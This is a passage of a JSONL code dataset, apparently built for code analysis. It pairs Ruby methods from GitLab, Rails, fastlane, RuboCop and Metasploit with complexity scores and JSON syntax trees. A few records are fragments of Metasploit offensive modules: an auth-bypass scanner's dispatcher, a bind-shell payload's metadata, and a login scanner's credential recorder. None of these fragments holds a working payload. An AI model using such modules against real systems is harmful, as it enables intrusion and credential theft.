l,\"most_recent_batch_stale?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_stale_tracker_and_batches\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_in_progress?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"re_enqueue\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"pipeline_class\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@context\"]}]},\"on_finish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[null,\"log_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Tracker finished\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"finish!\"]}]}]}","id":"d5d484db-7978-43e5-a3db-c18fd031b372"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/nexus_upload.rb","start_line":41,"raw_source":"def self.upload_options(params)\n file_path = File.expand_path(params[:file]).shellescape\n file_extension = file_path.split('.').last.shellescape\n\n options = []\n if params[:nexus_version] == 2\n options << \"-F p=zip\"\n options << \"-F hasPom=false\"\n options << \"-F r=#{params[:repo_id].shellescape}\"\n options << \"-F g=#{params[:repo_group_id].shellescape}\"\n options << \"-F a=#{params[:repo_project_name].shellescape}\"\n options << \"-F v=#{params[:repo_project_version].shellescape}\"\n\n if params[:repo_classifier]\n options << \"-F c=#{params[:repo_classifier].shellescape}\"\n end\n\n options << \"-F e=#{file_extension}\"\n options << \"-F file=@#{file_path}\"\n else\n options << \"--upload-file #{file_path}\"\n end\n\n options << \"-u #{params[:username].shellescape}:#{params[:password].shellescape}\"\n\n options\n end","complexity_score":49.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upload_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]},\"shellescape\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_extension\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"last\"]},\"shellescape\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nexus_version\"]}]},\"==\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-F p=zip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-F hasPom=false\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F r=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_id\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F g=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_group_id\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F a=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_project_name\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F v=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_project_version\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_classifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F c=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_classifier\"]}]},\"shellescape\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F e=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_extension\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-F file=@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--upload-file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-u \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"783f085b-3d4b-4bf4-97d9-3eead1f6c536"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1295,"raw_source":"def cluster_agents\n ::Clusters::Agent.for_projects(all_projects)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cluster_agents\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"Agent\"]},\"for_projects\",{\"type\":\"send\",\"children\":[null,\"all_projects\"]}]}]}","id":"8bfc7405-f2d2-4305-ae42-36171055f4bb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/member.rb","start_line":631,"raw_source":"def highest_group_member\n strong_memoize(:highest_group_member) do\n next unless user_id && source&.ancestors&.any?\n\n GroupMember\n .where(source: source.ancestors, user_id: user_id)\n .non_request\n .order(:access_level).last\n end\n end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"highest_group_member\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"highest_group_member\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"ancestors\"]},\"any?\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupMember\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"ancestors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id\"]}]}]}]},\"non_request\"]},\"order\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]},\"last\"]}]}]}]}","id":"085c9832-f3a0-43a9-bac4-059e1a301e1b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/dependency_proxy/find_cached_manifest_service.rb","start_line":37,"raw_source":"def respond(from_cache: true)\n if @manifest\n @manifest.read!\n\n success(manifest: @manifest, from_cache: from_cache)\n else\n error('Failed to download the manifest from the external registry', 503)\n end\n end","complexity_score":4.83,"ast_json":"{\"type\":\"def\",\"children\":[\"respond\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"from_cache\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@manifest\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@manifest\"]},\"read!\"]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"manifest\"]},{\"type\":\"ivar\",\"children\":[\"@manifest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_cache\"]},{\"type\":\"lvar\",\"children\":[\"from_cache\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Failed to download the manifest from the external registry\"]},{\"type\":\"int\",\"children\":[503]}]}]}]}","id":"093ee0a4-210f-4240-897d-0b29b9b41a95"} {"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/redcloth.rb","start_line":444,"raw_source":"def pgl( text )\n GLYPHS.each do |re, resub, tog|\n next if tog and method( tog ).call\n text.gsub! re, resub\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pgl\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GLYPHS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"re\"]},{\"type\":\"arg\",\"children\":[\"resub\"]},{\"type\":\"arg\",\"children\":[\"tog\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tog\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"lvar\",\"children\":[\"tog\"]}]},\"call\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"lvar\",\"children\":[\"re\"]},{\"type\":\"lvar\",\"children\":[\"resub\"]}]}]}]}]}","id":"50fb6144-4554-4cb6-887a-ba5ec8f9bae3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/nested_through_associations_test.rb","start_line":103,"raw_source":"def test_has_many_through_has_many_through_with_has_many_source_reflection_preload\n luke, david = subscribers(:first), subscribers(:second)\n author = assert_queries_count(4) { Author.includes(:subscribers).first }\n assert_no_queries do\n assert_equal [luke, david, david], author.subscribers.sort_by(&:nick)\n end\n end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_has_many_through_with_has_many_source_reflection_preload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"luke\"]},{\"type\":\"lvasgn\",\"children\":[\"david\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribers\",{\"type\":\"sym\",\"children\":[\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"subscribers\",{\"type\":\"sym\",\"children\":[\"second\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"subscribers\"]}]},\"first\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"luke\"]},{\"type\":\"lvar\",\"children\":[\"david\"]},{\"type\":\"lvar\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"subscribers\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nick\"]}]}]}]}]}]}]}","id":"a3f96f3a-3d82-4b8f-83fe-71e16be93bc9"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/redundant_message_argument.rb","start_line":37,"raw_source":"def on_send(node)\n return unless (kwargs = node_type_check(node))\n\n kwargs.pairs.each do |pair|\n redundant_message_argument(pair) do\n add_offense(pair) do |corrector|\n range = offending_range(pair)\n\n corrector.remove(range)\n end\n end\n end\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"kwargs\",{\"type\":\"send\",\"children\":[null,\"node_type_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"pairs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pair\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redundant_message_argument\",{\"type\":\"lvar\",\"children\":[\"pair\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"pair\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"offending_range\",{\"type\":\"lvar\",\"children\":[\"pair\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}]}]}","id":"46026509-ccbc-4730-a6bf-2a8e9aba0510"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/telerik_report_server_auth_bypass.rb","start_line":123,"raw_source":"def run\n send(\"action_#{action.name.downcase}\")\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"action_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"downcase\"]}]}]}]}]}","id":"e0f09898-1e73-4e07-9a8b-0b9fd70d00ae"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/spec/gitlab/utils/strong_memoize_spec.rb","start_line":43,"raw_source":"def enabled?\n trace << value\n value\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}","id":"4075d677-bc06-45c6-8ea8-7c43b309729e"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/sqlite_rake_test.rb","start_line":33,"raw_source":"def test_when_db_created_successfully_outputs_info_to_stdout\n ActiveRecord::Base.stub(:establish_connection, nil) do\n ActiveRecord::Tasks::DatabaseTasks.create @configuration, \"/rails/root\"\n\n assert_equal \"Created database '#{@database}'\\n\", $stdout.string\n end\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_when_db_created_successfully_outputs_info_to_stdout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]},{\"type\":\"str\",\"children\":[\"/rails/root\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created database '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@database\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"string\"]}]}]}]}]}","id":"23a17655-0b9f-42b0-b46b-b1cc1e794b71"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/user_mention_behaviour.rb","start_line":20,"raw_source":"def mentioned_groups\n Group.where(id: mentioned_groups_ids)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mentioned_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"mentioned_groups_ids\"]}]}]}]}]}","id":"12970476-05c8-4996-935c-3e542630cf24"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/create_service.rb","start_line":53,"raw_source":"def build_note(executing_user)\n Notes::BuildService\n .new(project, current_user, params.except(:merge_request_diff_head_sha, :scope_validator))\n .execute(executing_user: executing_user)\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"executing_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notes\"]},\"BuildService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"except\",{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]},{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"executing_user\"]},{\"type\":\"lvar\",\"children\":[\"executing_user\"]}]}]}]}]}","id":"60d13e4e-dd27-4079-a0f9-152da4be17d8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_awk.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n merge_info(\n info,\n 'Name' => 'Unix Command Shell, Bind TCP (via AWK)',\n 'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',\n 'Author' => [\n 'espreto <robertoespreto[at]gmail.com>',\n 'Ulisses Castro <uss.thebug[at]gmail.com>'\n ],\n 'License' => MSF_LICENSE,\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Handler' => Msf::Handler::BindTcp,\n 'Session' => Msf::Sessions::CommandShell,\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'gawk',\n 'Payload' => {\n 'Offsets' => {},\n 'Payload' => ''\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Unix Command Shell, Bind TCP (via AWK)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for a connection and spawn a command shell via GNU AWK\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"espreto <robertoespreto[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Ulisses Castro <uss.thebug[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"gawk\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"194a0382-0353-433c-9962-2e50469e6e09"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1362,"raw_source":"def test_should_not_resave_destroyed_association\n @pirate.birds.create!(name: :parrot)\n @pirate.birds.first.destroy\n @pirate.save!\n assert_empty @pirate.reload.birds\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_resave_destroyed_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"birds\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"parrot\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"birds\"]},\"first\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"reload\"]},\"birds\"]}]}]}]}","id":"a26b023a-a4bb-47f8-8a6e-234b40ddfd30"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/oracle/oracle_login.rb","start_line":152,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: opts[:service_name],\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n\n login_data = {\n core: create_credential(credential_data),\n status: opts[:status],\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\